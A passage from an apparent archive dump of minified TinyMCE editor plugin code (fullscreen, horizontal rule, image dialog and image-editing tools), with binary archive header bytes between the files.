p,m,g,h,v=document.body,b=document.documentElement;d=!d,m=e.getContainer(),p=m.style,g=e.getContentAreaContainer().firstChild,h=g.style,d?(u=n(),o=h.width,a=h.height,h.width=h.height="100%",l=p.width,c=p.height,p.width=p.height="",f.addClass(v,"mce-fullscreen"),f.addClass(b,"mce-fullscreen"),f.addClass(m,"mce-fullscreen"),f.bind(window,"resize",i),i(),s=i):(h.width=o,h.height=a,l&&(p.width=l),c&&(p.height=c),f.removeClass(v,"mce-fullscreen"),f.removeClass(b,"mce-fullscreen"),f.removeClass(m,"mce-fullscreen"),f.unbind(window,"resize",s),r(u)),e.fire("FullscreenStateChanged",{state:d})}var
o,a,s,l,c,u,d=!1,f=tinymce.DOM;if(!e.settings.inline)return
e.on("init",function(){e.addShortcut("Ctrl+Shift+F","",i)}),e.on("remove",function(){s&&f.unbind(window,"resize",s)}),e.addCommand("mceFullScreen",i),e.addMenuItem("fullscreen",{text:"Fullscreen",shortcut:"Ctrl+Shift+F",selectable:!0,onClick:function(){i(),e.focus()},onPostRender:function(){var
t=this;e.on("FullscreenStateChanged",function(e){t.active(e.state)})},context:"view"}),e.addButton("fullscreen",{tooltip:"Fullscreen",shortcut:"Ctrl+Shift+F",onClick:i,onPostRender:function(){var
t=this;e.on("FullscreenStateChanged",function(e){t.active(e.state)})}}),{isFullscreen:function(){return
d}}});PKS��[�|�BB
tinymce/plugins/hr/plugin.min.jsnu�[���tinymce.PluginManager.add("hr",function(e){e.addCommand("InsertHorizontalRule",function(){e.execCommand("mceInsertContent",!1,"<hr
/>")}),e.addButton("hr",{icon:"hr",tooltip:"Horizontal
line",cmd:"InsertHorizontalRule"}),e.addMenuItem("hr",{icon:"hr",text:"Horizontal
line",cmd:"InsertHorizontalRule",context:"insert"})});PKS��[>���

#tinymce/plugins/image/plugin.min.jsnu�[���tinymce.PluginManager.add("image",function(e){function
t(e,t){function
n(e,n){r.parentNode&&r.parentNode.removeChild(r),t({width:e,height:n})}var
r=document.createElement("img");r.onload=function(){n(Math.max(r.width,r.clientWidth),Math.max(r.height,r.clientHeight))},r.onerror=function(){n()};var
i=r.style;i.visibility="hidden",i.position="fixed",i.bottom=i.left=0,i.width=i.height="auto",document.body.appendChild(r),r.src=e}function
n(e,t,n){function r(e,n){return n=n||[],tinymce.each(e,function(e){var
i={text:e.text||e.title};e.menu?i.menu=r(e.menu):(i.value=e.value,t(i)),n.push(i)}),n}return
r(e,n||[])}function r(t){return function(){var
n=e.settings.image_list;"string"==typeof
n?tinymce.util.XHR.send({url:n,success:function(e){t(tinymce.util.JSON.parse(e))}}):"function"==typeof
n?n(t):t(n)}}function i(r){function i(){var
e,t,n,r;e=f.find("#width")[0],t=f.find("#height")[0],e&&t&&(n=e.value(),r=t.value(),f.find("#constrain")[0].checked()&&g&&h&&n&&r&&(g!=n?(r=Math.round(n/g*r),isNaN(r)||t.value(r)):(n=Math.round(r/h*n),isNaN(n)||e.value(n))),g=n,h=r)}function
o(){function t(t){function
n(){t.onload=t.onerror=null,e.selection&&(e.selection.select(t),e.nodeChanged())}t.onload=function(){y.width||y.height||!C||x.setAttribs(t,{width:t.clientWidth,height:t.clientHeight}),n()},t.onerror=n}var
n,r;u(),i(),y=tinymce.extend(y,f.toJSON()),y.alt||(y.alt=""),y.title||(y.title=""),""===y.width&&(y.width=null),""===y.height&&(y.height=null),y.style||(y.style=null),y={src:y.src,alt:y.alt,title:y.title,width:y.width,height:y.height,style:y.style,caption:y.caption,"class":y["class"]},e.undoManager.transact(function(){function
i(t){return e.schema.getTextBlockElements()[t.nodeName]}if(!y.src)return
void(p&&(x.remove(p),e.focus(),e.nodeChanged()));if(""===y.title&&(y.title=null),p?x.setAttribs(p,y):(y.id="__mcenew",e.focus(),e.selection.setContent(x.createHTML("img",y)),p=x.get("__mcenew"),x.setAttrib(p,"id",null)),e.editorUpload.uploadImagesAuto(),y.caption===!1&&x.is(p.parentNode,"figure.image")&&(n=p.parentNode,x.insertAfter(p,n),x.remove(n)),y.caption!==!0)t(p);else
if(!x.is(p.parentNode,"figure.image")){r=p,p=p.cloneNode(!0),n=x.create("figure",{"class":"image"}),n.appendChild(p),n.appendChild(x.create("figcaption",{contentEditable:!0},"Caption")),n.contentEditable=!1;var
o=x.getParent(r,i);o?x.split(o,r,n):x.replace(n,r),e.selection.select(n)}})}function
a(e){return e&&(e=e.replace(/px$/,"")),e}function
s(n){var
r,i,o,a=n.meta||{};v&&v.value(e.convertURL(this.value(),"src")),tinymce.each(a,function(e,t){f.find("#"+t).value(e)}),a.width||a.height||(r=e.convertURL(this.value(),"src"),i=e.settings.image_prepend_url,o=new
RegExp("^(?:[a-z]+:)?//","i"),i&&!o.test(r)&&r.substring(0,i.length)!==i&&(r=i+r),this.value(r),t(e.documentBaseURI.toAbsolute(this.value()),function(e){e.width&&e.height&&C&&(g=e.width,h=e.height,f.find("#width").value(g),f.find("#height").value(h))}))}function
l(e){e.meta=f.toJSON()}function c(e){if(e.margin){var
t=e.margin.split(" ");switch(t.length){case
1:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[0],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[0];break;case
2:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[1];break;case
3:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[1];break;case
4:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[3]}delete
e.margin}return e}function u(){function t(e){return
e.length>0&&/^[0-9]+$/.test(e)&&(e+="px"),e}if(e.settings.image_advtab){var
n=f.toJSON(),r=x.parseStyle(n.style);r=c(r),n.vspace&&(r["margin-top"]=r["margin-bottom"]=t(n.vspace)),n.hspace&&(r["margin-left"]=r["margin-right"]=t(n.hspace)),n.border&&(r["border-width"]=t(n.border)),f.find("#style").value(x.serializeStyle(x.parseStyle(x.serializeStyle(r))))}}function
d(){if(e.settings.image_advtab){var
t=f.toJSON(),n=x.parseStyle(t.style);f.find("#vspace").value(""),f.find("#hspace").value(""),n=c(n),(n["margin-top"]&&n["margin-bottom"]||n["margin-right"]&&n["margin-left"])&&(n["margin-top"]===n["margin-bottom"]?f.find("#vspace").value(a(n["margin-top"])):f.find("#vspace").value(""),n["margin-right"]===n["margin-left"]?f.find("#hspace").value(a(n["margin-right"])):f.find("#hspace").value("")),n["border-width"]&&f.find("#border").value(a(n["border-width"])),f.find("#style").value(x.serializeStyle(x.parseStyle(x.serializeStyle(n))))}}var
f,p,m,g,h,v,b,y={},x=e.dom,C=e.settings.image_dimensions!==!1;p=e.selection.getNode(),m=x.getParent(p,"figure.image"),m&&(p=x.select("img",m)[0]),p&&("IMG"!=p.nodeName||p.getAttribute("data-mce-object")||p.getAttribute("data-mce-placeholder"))&&(p=null),p&&(g=x.getAttrib(p,"width"),h=x.getAttrib(p,"height"),y={src:x.getAttrib(p,"src"),alt:x.getAttrib(p,"alt"),title:x.getAttrib(p,"title"),"class":x.getAttrib(p,"class"),width:g,height:h,caption:!!m}),r&&(v={type:"listbox",label:"Image
list",values:n(r,function(t){t.value=e.convertURL(t.value||t.url,"src")},[{text:"None",value:""}]),value:y.src&&e.convertURL(y.src,"src"),onselect:function(e){var
t=f.find("#alt");(!t.value()||e.lastControl&&t.value()==e.lastControl.text())&&t.value(e.control.text()),f.find("#src").value(e.control.value()).fire("change")},onPostRender:function(){v=this}}),e.settings.image_class_list&&(b={name:"class",type:"listbox",label:"Class",values:n(e.settings.image_class_list,function(t){t.value&&(t.textStyle=function(){return
e.formatter.getCssText({inline:"img",classes:[t.value]})})})});var
w=[{name:"src",type:"filepicker",filetype:"image",label:"Source",autofocus:!0,onchange:s,onbeforecall:l},v];e.settings.image_description!==!1&&w.push({name:"alt",type:"textbox",label:"Image
description"}),e.settings.image_title&&w.push({name:"title",type:"textbox",label:"Image
Title"}),C&&w.push({type:"container",label:"Dimensions",layout:"flex",direction:"row",align:"center",spacing:5,items:[{name:"width",type:"textbox",maxLength:5,size:3,onchange:i,ariaLabel:"Width"},{type:"label",text:"x"},{name:"height",type:"textbox",maxLength:5,size:3,onchange:i,ariaLabel:"Height"},{name:"constrain",type:"checkbox",checked:!0,text:"Constrain
proportions"}]}),w.push(b),e.settings.image_caption&&tinymce.Env.ceFalse&&w.push({name:"caption",type:"checkbox",label:"Caption"}),e.settings.image_advtab?(p&&(p.style.marginLeft&&p.style.marginRight&&p.style.marginLeft===p.style.marginRight&&(y.hspace=a(p.style.marginLeft)),p.style.marginTop&&p.style.marginBottom&&p.style.marginTop===p.style.marginBottom&&(y.vspace=a(p.style.marginTop)),p.style.borderWidth&&(y.border=a(p.style.borderWidth)),y.style=e.dom.serializeStyle(e.dom.parseStyle(e.dom.getAttrib(p,"style")))),f=e.windowManager.open({title:"Insert/edit
image",data:y,bodyType:"tabpanel",body:[{title:"General",type:"form",items:w},{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox",onchange:d},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,alignH:["left","right"],defaults:{type:"textbox",maxWidth:50,onchange:u},items:[{label:"Vertical
space",name:"vspace"},{label:"Horizontal
space",name:"hspace"},{label:"Border",name:"border"}]}]}],onSubmit:o})):f=e.windowManager.open({title:"Insert/edit
image",data:y,body:w,onSubmit:o})}e.on("preInit",function(){function
t(e){var t=e.attr("class");return
t&&/\bimage\b/.test(t)}function n(e){return function(n){function
r(t){t.attr("contenteditable",e?"true":null)}for(var
i,o=n.length;o--;)i=n[o],t(i)&&(i.attr("contenteditable",e?"false":null),tinymce.each(i.getAll("figcaption"),r))}}e.parser.addNodeFilter("figure",n(!0)),e.serializer.addNodeFilter("figure",n(!1))}),e.addButton("image",{icon:"image",tooltip:"Insert/edit
image",onclick:r(i),stateSelector:"img:not([data-mce-object],[data-mce-placeholder]),figure.image"}),e.addMenuItem("image",{icon:"image",text:"Image",onclick:r(i),context:"insert",prependToContext:!0}),e.addCommand("mceImage",r(i))});PKS��[�
0�x�x(tinymce/plugins/imagetools/plugin.min.jsnu�[���!function(){var
e={},t=function(t){for(var n=e[t],i=n.deps,o=n.defn,a=i.length,s=new
Array(a),l=0;l<a;++l)s[l]=r(i[l]);var c=o.apply(null,s);if(void
0===c)throw"module ["+t+"] returned
undefined";n.instance=c},n=function(t,n,r){if("string"!=typeof
t)throw"module id must be a string";if(void 0===n)throw"no
dependencies for "+t;if(void 0===r)throw"no definition function
for "+t;e[t]={deps:n,defn:r,instance:void 0}},r=function(n){var
r=e[n];if(void 0===r)throw"module ["+n+"] was
undefined";return void
0===r.instance&&t(n),r.instance},i=function(e,t){for(var
n=e.length,i=new
Array(n),o=0;o<n;++o)i[o]=r(e[o]);t.apply(null,i)},o={};o.bolt={module:{api:{define:n,require:i,demand:r}}};var
a=n,s=function(e,t){a(e,[],function(){return
t})};s("1",tinymce.PluginManager),s("2",tinymce.Env),s("3",tinymce.util.Promise),s("4",tinymce.util.URI),s("5",tinymce.util.Tools),s("6",tinymce.util.Delay),a("m",[],function(){function
e(e,t){return r(document.createElement("canvas"),e,t)}function
t(e){return e.getContext("2d")}function n(e){var
t=null;try{t=e.getContext("webgl")||e.getContext("experimental-webgl")}catch(e){}return
t||(t=null),t}function r(e,t,n){return
e.width=t,e.height=n,e}return{create:e,resize:r,get2dContext:t,get3dContext:n}}),a("n",[],function(){function
e(e){return e.naturalWidth||e.width}function t(e){return
e.naturalHeight||e.height}return{getWidth:e,getHeight:t}}),a("o",[],function(){function
e(e,t){return function(){e.apply(t,arguments)}}function
t(t){if("object"!=typeof this)throw new TypeError("Promises
must be constructed via new");if("function"!=typeof t)throw
new TypeError("not a
function");this._state=null,this._value=null,this._deferreds=[],s(t,e(r,this),e(i,this))}function
n(e){var t=this;return null===this._state?void this._deferreds.push(e):void
l(function(){var n=t._state?e.onFulfilled:e.onRejected;if(null===n)return
void(t._state?e.resolve:e.reject)(t._value);var
r;try{r=n(t._value)}catch(t){return void
e.reject(t)}e.resolve(r)})}function r(t){try{if(t===this)throw new
TypeError("A promise cannot be resolved with
itself.");if(t&&("object"==typeof
t||"function"==typeof t)){var
n=t.then;if("function"==typeof n)return void
s(e(n,t),e(r,this),e(i,this))}this._state=!0,this._value=t,o.call(this)}catch(e){i.call(this,e)}}function
i(e){this._state=!1,this._value=e,o.call(this)}function o(){for(var
e=0,t=this._deferreds.length;e<t;e++)n.call(this,this._deferreds[e]);this._deferreds=null}function
a(e,t,n,r){this.onFulfilled="function"==typeof
e?e:null,this.onRejected="function"==typeof
t?t:null,this.resolve=n,this.reject=r}function s(e,t,n){var
r=!1;try{e(function(e){r||(r=!0,t(e))},function(e){r||(r=!0,n(e))})}catch(e){if(r)return;r=!0,n(e)}}if(window.Promise)return
window.Promise;var l=t.immediateFn||"function"==typeof
setImmediate&&setImmediate||function(e){setTimeout(e,1)},c=Array.isArray||function(e){return"[object
Array]"===Object.prototype.toString.call(e)};return
t.prototype["catch"]=function(e){return
this.then(null,e)},t.prototype.then=function(e,r){var i=this;return new
t(function(t,o){n.call(i,new a(e,r,t,o))})},t.all=function(){var
e=Array.prototype.slice.call(1===arguments.length&&c(arguments[0])?arguments[0]:arguments);return
new t(function(t,n){function
r(o,a){try{if(a&&("object"==typeof
a||"function"==typeof a)){var
s=a.then;if("function"==typeof s)return void
s.call(a,function(e){r(o,e)},n)}e[o]=a,0===--i&&t(e)}catch(e){n(e)}}if(0===e.length)return
t([]);for(var
i=e.length,o=0;o<e.length;o++)r(o,e[o])})},t.resolve=function(e){return
e&&"object"==typeof e&&e.constructor===t?e:new
t(function(t){t(e)})},t.reject=function(e){return new
t(function(t,n){n(e)})},t.race=function(e){return new
t(function(t,n){for(var
r=0,i=e.length;r<i;r++)e[r].then(t,n)})},t}),a("p",[],function(){function
e(e){var t=document.createElement("a");return
t.href=e,t.pathname}function t(t){var
n=e(t).split("."),r=n[n.length-1],i={jpg:"image/jpeg",jpeg:"image/jpeg",png:"image/png"};return
r&&(r=r.toLowerCase()),i[r]}return{guessMimeType:t}}),a("e",["o","m","p","n"],function(e,t,n,r){function
i(t){return new e(function(e){function
n(){t.removeEventListener("load",n),e(t)}t.complete?e(t):t.addEventListener("load",n)})}function
o(e){return i(e).then(function(e){var n,i;return
i=t.create(r.getWidth(e),r.getHeight(e)),n=t.get2dContext(i),n.drawImage(e,0,0),i})}function
a(e){return i(e).then(function(e){var t=e.src;return
0===t.indexOf("blob:")?l(t):0===t.indexOf("data:")?c(t):o(e).then(function(e){return
c(e.toDataURL(n.guessMimeType(t)))})})}function s(t){return new
e(function(e){function
n(){r.removeEventListener("load",n),e(r)}var r=new
Image;r.addEventListener("load",n),r.src=URL.createObjectURL(t),r.complete&&n()})}function
l(t){return new e(function(e){var n=new
XMLHttpRequest;n.open("GET",t,!0),n.responseType="blob",n.onload=function(){200==this.status&&e(this.response)},n.send()})}function
c(t){return new e(function(e){var
n,r,i,o,a,s;if(t=t.split(","),o=/data:([^;]+)/.exec(t[0]),o&&(a=o[1]),n=atob(t[1]),window.WebKitBlobBuilder){for(s=new
WebKitBlobBuilder,r=new
ArrayBuffer(n.length),i=0;i<r.length;i++)r[i]=n.charCodeAt(i);return
s.append(r),void e(s.getBlob(a))}for(r=new
Uint8Array(n.length),i=0;i<r.length;i++)r[i]=n.charCodeAt(i);e(new
Blob([r],{type:a}))})}function u(e){return
0===e.indexOf("blob:")?l(e):0===e.indexOf("data:")?c(e):null}function
d(e,t){return c(e.toDataURL(t))}function f(t){return new e(function(e){var
n=new
FileReader;n.onloadend=function(){e(n.result)},n.readAsDataURL(t)})}function
p(e){return f(e).then(function(e){return
e.split(",")[1]})}function
m(e){URL.revokeObjectURL(e.src)}return{blobToImage:s,imageToBlob:a,blobToDataUri:f,blobToBase64:p,imageToCanvas:o,canvasToBlob:d,revokeImageUrl:m,uriToBlob:u}}),a("q",[],function(){function
e(e,t,n){return e=parseFloat(e),e>n?e=n:e<t&&(e=t),e}function
t(){return[1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1]}function
n(e,t){var n,r,i,o,a=[],s=new
Array(10);for(n=0;n<5;n++){for(r=0;r<5;r++)a[r]=t[r+5*n];for(r=0;r<5;r++){for(o=0,i=0;i<5;i++)o+=e[r+5*i]*a[i];s[r+5*n]=o}}return
s}function r(t,n){return n=e(n,0,1),t.map(function(t,r){return
r%6===0?t=1-(1-t)*n:t*=n,e(t,0,1)})}function i(t,r){var i;return
r=e(r,-1,1),r*=100,r<0?i=127+r/100*127:(i=r%1,i=0===i?d[r]:d[Math.floor(r)]*(1-i)+d[Math.floor(r)+1]*i,i=127*i+127),n(t,[i/127,0,0,0,.5*(127-i),0,i/127,0,0,.5*(127-i),0,0,i/127,0,.5*(127-i),0,0,0,1,0,0,0,0,0,1])}function
o(t,r){var i,o,a,s;return
r=e(r,-1,1),i=1+(r>0?3*r:r),o=.3086,a=.6094,s=.082,n(t,[o*(1-i)+i,a*(1-i),s*(1-i),0,0,o*(1-i),a*(1-i)+i,s*(1-i),0,0,o*(1-i),a*(1-i),s*(1-i)+i,0,0,0,0,0,1,0,0,0,0,0,1])}function
a(t,r){var i,o,a,s,l;return
r=e(r,-180,180)/180*Math.PI,i=Math.cos(r),o=Math.sin(r),a=.213,s=.715,l=.072,n(t,[a+i*(1-a)+o*-a,s+i*-s+o*-s,l+i*-l+o*(1-l),0,0,a+i*-a+.143*o,s+i*(1-s)+.14*o,l+i*-l+o*-.283,0,0,a+i*-a+o*-(1-a),s+i*-s+o*s,l+i*(1-l)+o*l,0,0,0,0,0,1,0,0,0,0,0,1])}function
s(t,r){return
r=e(255*r,-255,255),n(t,[1,0,0,0,r,0,1,0,0,r,0,0,1,0,r,0,0,0,1,0,0,0,0,0,1])}function
l(t,r,i,o){return
r=e(r,0,2),i=e(i,0,2),o=e(o,0,2),n(t,[r,0,0,0,0,0,i,0,0,0,0,0,o,0,0,0,0,0,1,0,0,0,0,0,1])}function
c(t,i){return
i=e(i,0,1),n(t,r([.393,.769,.189,0,0,.349,.686,.168,0,0,.272,.534,.131,0,0,0,0,0,1,0,0,0,0,0,1],i))}function
u(t,i){return
i=e(i,0,1),n(t,r([.33,.34,.33,0,0,.33,.34,.33,0,0,.33,.34,.33,0,0,0,0,0,1,0,0,0,0,0,1],i))}var
d=[0,.01,.02,.04,.05,.06,.07,.08,.1,.11,.12,.14,.15,.16,.17,.18,.2,.21,.22,.24,.25,.27,.28,.3,.32,.34,.36,.38,.4,.42,.44,.46,.48,.5,.53,.56,.59,.62,.65,.68,.71,.74,.77,.8,.83,.86,.89,.92,.95,.98,1,1.06,1.12,1.18,1.24,1.3,1.36,1.42,1.48,1.54,1.6,1.66,1.72,1.78,1.84,1.9,1.96,2,2.12,2.25,2.37,2.5,2.62,2.75,2.87,3,3.2,3.4,3.6,3.8,4,4.3,4.7,4.9,5,5.5,6,6.5,6.8,7,7.3,7.5,7.8,8,8.4,8.7,9,9.4,9.6,9.8,10];return{identity:t,adjust:r,multiply:n,adjustContrast:i,adjustBrightness:s,adjustSaturation:o,adjustHue:a,adjustColors:l,adjustSepia:c,adjustGrayscale:u}}),a("c",["m","n","e","q"],function(e,t,n,r){function
i(r,i){return n.blobToImage(r).then(function(r){function o(e,t){var
n,r,i,o,a,s=e.data,l=t[0],c=t[1],u=t[2],d=t[3],f=t[4],p=t[5],m=t[6],g=t[7],h=t[8],v=t[9],b=t[10],y=t[11],x=t[12],C=t[13],w=t[14],N=t[15],k=t[16],S=t[17],_=t[18],E=t[19];for(a=0;a<s.length;a+=4)n=s[a],r=s[a+1],i=s[a+2],o=s[a+3],s[a]=n*l+r*c+i*u+o*d+f,s[a+1]=n*p+r*m+i*g+o*h+v,s[a+2]=n*b+r*y+i*x+o*C+w,s[a+3]=n*N+r*k+i*S+o*_+E;return
e}var a,s=e.create(t.getWidth(r),t.getHeight(r)),l=e.get2dContext(s);return
l.drawImage(r,0,0),u(r),a=o(l.getImageData(0,0,s.width,s.height),i),l.putImageData(a,0,0),n.canvasToBlob(s)})}function
o(r,i){return n.blobToImage(r).then(function(r){function o(e,t,n){function
r(e,t,n){return e>n?e=n:e<t&&(e=t),e}var
i,o,a,s,l,c,u,d,f,p,m,g,h,v,b,y,x;for(a=Math.round(Math.sqrt(n.length)),s=Math.floor(a/2),i=e.data,o=t.data,y=e.width,x=e.height,c=0;c<x;c++)for(l=0;l<y;l++){for(u=d=f=0,m=0;m<a;m++)for(p=0;p<a;p++)g=r(l+p-s,0,y-1),h=r(c+m-s,0,x-1),v=4*(h*y+g),b=n[m*a+p],u+=i[v]*b,d+=i[v+1]*b,f+=i[v+2]*b;v=4*(c*y+l),o[v]=r(u,0,255),o[v+1]=r(d,0,255),o[v+2]=r(f,0,255)}return
t}var
a,s,l=e.create(t.getWidth(r),t.getHeight(r)),c=e.get2dContext(l);return
c.drawImage(r,0,0),u(r),a=c.getImageData(0,0,l.width,l.height),s=c.getImageData(0,0,l.width,l.height),s=o(a,s,i),c.putImageData(s,0,0),n.canvasToBlob(l)})}function
a(r){return function(i,o){return n.blobToImage(i).then(function(i){function
a(e,t){var
n,r=e.data;for(n=0;n<r.length;n+=4)r[n]=t[r[n]],r[n+1]=t[r[n+1]],r[n+2]=t[r[n+2]];return
e}var
s,l,c=e.create(t.getWidth(i),t.getHeight(i)),d=e.get2dContext(c),f=new
Array(256);for(l=0;l<f.length;l++)f[l]=r(l,o);return
d.drawImage(i,0,0),u(i),s=a(d.getImageData(0,0,c.width,c.height),f),d.putImageData(s,0,0),n.canvasToBlob(c)})}}function
s(e){return function(t,n){return i(t,e(r.identity(),n))}}function
l(e){return function(t){return i(t,e)}}function c(e){return
function(t){return o(t,e)}}var
u=n.revokeImageUrl;return{invert:l([-1,0,0,0,255,0,-1,0,0,255,0,0,-1,0,255,0,0,0,1,0]),brightness:s(r.adjustBrightness),hue:s(r.adjustHue),saturate:s(r.adjustSaturation),contrast:s(r.adjustContrast),grayscale:s(r.adjustGrayscale),sepia:s(r.adjustSepia),colorize:function(e,t,n,o){return
i(e,r.adjustColors(r.identity(),t,n,o))},sharpen:c([0,-1,0,-1,5,-1,0,-1,0]),emboss:c([-2,-1,0,-1,1,1,0,1,2]),gamma:a(function(e,t){return
255*Math.pow(e/255,1-t)}),exposure:a(function(e,t){return
255*(1-Math.exp(-(e/255)*t))}),colorFilter:i,convoluteFilter:o}}),a("r",["o","e","m","n"],function(e,t,n,r){function
i(e,t,n){var
a=r.getWidth(e),s=r.getHeight(e),l=t/a,c=n/s,u=!1;(l<.5||l>2)&&(l=l<.5?.5:2,u=!0),(c<.5||c>2)&&(c=c<.5?.5:2,u=!0);var
d=o(e,l,c);return u?d.then(function(e){return i(e,t,n)}):d}function
o(t,i,o){return new e(function(e){var
a=r.getWidth(t),s=r.getHeight(t),l=Math.floor(a*i),c=Math.floor(s*o),u=n.create(l,c),d=n.get2dContext(u);d.drawImage(t,0,0,a,s,0,0,l,c),e(u)})}return{scale:i}}),a("d",["e","m","n","r"],function(e,t,n,r){function
i(r,i){return e.blobToImage(r).then(function(o){var
a=t.create(n.getWidth(o),n.getHeight(o)),s=t.get2dContext(a),c=0,u=0;return
i=i<0?360+i:i,90!=i&&270!=i||t.resize(a,a.height,a.width),90!=i&&180!=i||(c=a.width),270!=i&&180!=i||(u=a.height),s.translate(c,u),s.rotate(i*Math.PI/180),s.drawImage(o,0,0),l(o),e.canvasToBlob(a,r.type)})}function
o(r,i){return e.blobToImage(r).then(function(r){var
o=t.create(n.getWidth(r),n.getHeight(r)),a=t.get2dContext(o);return"v"==i?(a.scale(1,-1),a.drawImage(r,0,-o.height)):(a.scale(-1,1),a.drawImage(r,-o.width,0)),l(r),e.canvasToBlob(o)})}function
a(n,r,i,o,a){return e.blobToImage(n).then(function(n){var
s=t.create(o,a),c=t.get2dContext(s);return
c.drawImage(n,-r,-i),l(n),e.canvasToBlob(s)})}function s(t,n,i){return
e.blobToImage(t).then(function(o){var a;return
a=r.scale(o,n,i).then(function(n){return
e.canvasToBlob(n,t.type)}).then(c(o))["catch"](c(o))})}var
l=e.revokeImageUrl,c=function(e){return function(t){return
l(e),t}};return{rotate:i,flip:o,crop:a,resize:s}}),a("7",["c","d"],function(e,t){var
n=function(t){return e.invert(t)},r=function(t){return
e.sharpen(t)},i=function(t){return e.emboss(t)},o=function(t,n){return
e.gamma(t,n)},a=function(t,n){return
e.exposure(t,n)},s=function(t,n,r,i){return
e.colorize(t,n,r,i)},l=function(t,n){return
e.brightness(t,n)},c=function(t,n){return
e.hue(t,n)},u=function(t,n){return e.saturate(t,n)},d=function(t,n){return
e.contrast(t,n)},f=function(t,n){return
e.grayscale(t,n)},p=function(t,n){return
e.sepia(t,n)},m=function(e,n){return
t.flip(e,n)},g=function(e,n,r,i,o){return
t.crop(e,n,r,i,o)},h=function(e,n,r){return
t.resize(e,n,r)},v=function(e,n){return
t.rotate(e,n)};return{invert:n,sharpen:r,emboss:i,brightness:l,hue:c,saturate:u,contrast:d,grayscale:f,sepia:p,colorize:s,gamma:o,exposure:a,flip:m,crop:g,resize:h,rotate:v}}),a("8",["e"],function(e){var
t=function(t){return e.blobToImage(t)},n=function(t){return
e.imageToBlob(t)},r=function(t){return
e.blobToDataUri(t)},i=function(t){return
e.blobToBase64(t)};return{blobToImage:t,imageToBlob:n,blobToDataUri:r,blobToBase64:i}}),s("f",tinymce.dom.DOMUtils),s("g",tinymce.ui.Factory),s("h",tinymce.ui.Form),s("i",tinymce.ui.Container),s("s",tinymce.ui.Control),s("t",tinymce.ui.DragHelper),s("u",tinymce.geom.Rect),s("w",tinymce.dom.DomQuery),s("x",tinymce.util.Observable),s("y",tinymce.util.VK),a("v",["w","t","u","5","x","y"],function(e,t,n,r,i,o){var
a=0;return function(s,l,c,u,d){function
f(e,t){return{x:t.x+e.x,y:t.y+e.y,w:t.w,h:t.h}}function
p(e,t){return{x:t.x-e.x,y:t.y-e.y,w:t.w,h:t.h}}function m(){return
p(c,s)}function g(e,t,r,i){var
o,a,l,u,d;o=t.x,a=t.y,l=t.w,u=t.h,o+=r*e.deltaX,a+=i*e.deltaY,l+=r*e.deltaW,u+=i*e.deltaH,l<20&&(l=20),u<20&&(u=20),d=s=n.clamp({x:o,y:a,w:l,h:u},c,"move"==e.name),d=p(c,d),k.fire("updateRect",{rect:d}),C(d)}function
h(){function n(e){var n;return new
t(R,{document:u.ownerDocument,handle:R+"-"+e.name,start:function(){n=s},drag:function(t){g(e,n,t.deltaX,t.deltaY)}})}e('<div
id="'+R+'"
class="'+T+'croprect-container" role="grid"
aria-dropeffect="execute">').appendTo(u),r.each(E,function(t){e("#"+R,u).append('<div
id="'+R+"-"+t+'"class="'+T+'croprect-block"
style="display: none"
data-mce-bogus="all">')}),r.each(S,function(t){e("#"+R,u).append('<div
id="'+R+"-"+t.name+'"
class="'+T+"croprect-handle
"+T+"croprect-handle-"+t.name+'"style="display:
none" data-mce-bogus="all" role="gridcell"
tabindex="-1" aria-label="'+t.label+'"
aria-grabbed="false">')}),_=r.map(S,n),b(s),e(u).on("focusin
focusout",function(t){e(t.target).attr("aria-grabbed","focus"===t.type)}),e(u).on("keydown",function(e){function
t(e,t,r,i,o){e.stopPropagation(),e.preventDefault(),g(n,r,i,o)}var
n;switch(r.each(S,function(t){if(e.target.id==R+"-"+t.name)return
n=t,!1}),e.keyCode){case o.LEFT:t(e,n,s,-10,0);break;case
o.RIGHT:t(e,n,s,10,0);break;case o.UP:t(e,n,s,0,-10);break;case
o.DOWN:t(e,n,s,0,10);break;case o.ENTER:case
o.SPACEBAR:e.preventDefault(),d()}})}function v(t){var
n;n=r.map(S,function(e){return"#"+R+"-"+e.name}).concat(r.map(E,function(e){return"#"+R+"-"+e})).join(","),t?e(n,u).show():e(n,u).hide()}function
b(t){function
n(t,n){n.h<0&&(n.h=0),n.w<0&&(n.w=0),e("#"+R+"-"+t,u).css({left:n.x,top:n.y,width:n.w,height:n.h})}r.each(S,function(n){e("#"+R+"-"+n.name,u).css({left:t.w*n.xMul+t.x,top:t.h*n.yMul+t.y})}),n("top",{x:l.x,y:l.y,w:l.w,h:t.y-l.y}),n("right",{x:t.x+t.w,y:t.y,w:l.w-t.x-t.w+l.x,h:t.h}),n("bottom",{x:l.x,y:t.y+t.h,w:l.w,h:l.h-t.y-t.h+l.y}),n("left",{x:l.x,y:t.y,w:t.x-l.x,h:t.h}),n("move",t)}function
y(e){s=e,b(s)}function x(e){l=e,b(s)}function C(e){y(f(c,e))}function
w(e){c=e,b(s)}function N(){r.each(_,function(e){e.destroy()}),_=[]}var
k,S,_,E,T="mce-",R=T+"crid-"+a++;return
S=[{name:"move",xMul:0,yMul:0,deltaX:1,deltaY:1,deltaW:0,deltaH:0,label:"Crop
Mask"},{name:"nw",xMul:0,yMul:0,deltaX:1,deltaY:1,deltaW:-1,deltaH:-1,label:"Top
Left Crop
Handle"},{name:"ne",xMul:1,yMul:0,deltaX:0,deltaY:1,deltaW:1,deltaH:-1,label:"Top
Right Crop
Handle"},{name:"sw",xMul:0,yMul:1,deltaX:1,deltaY:0,deltaW:-1,deltaH:1,label:"Bottom
Left Crop
Handle"},{name:"se",xMul:1,yMul:1,deltaX:0,deltaY:0,deltaW:1,deltaH:1,label:"Bottom
Right Crop
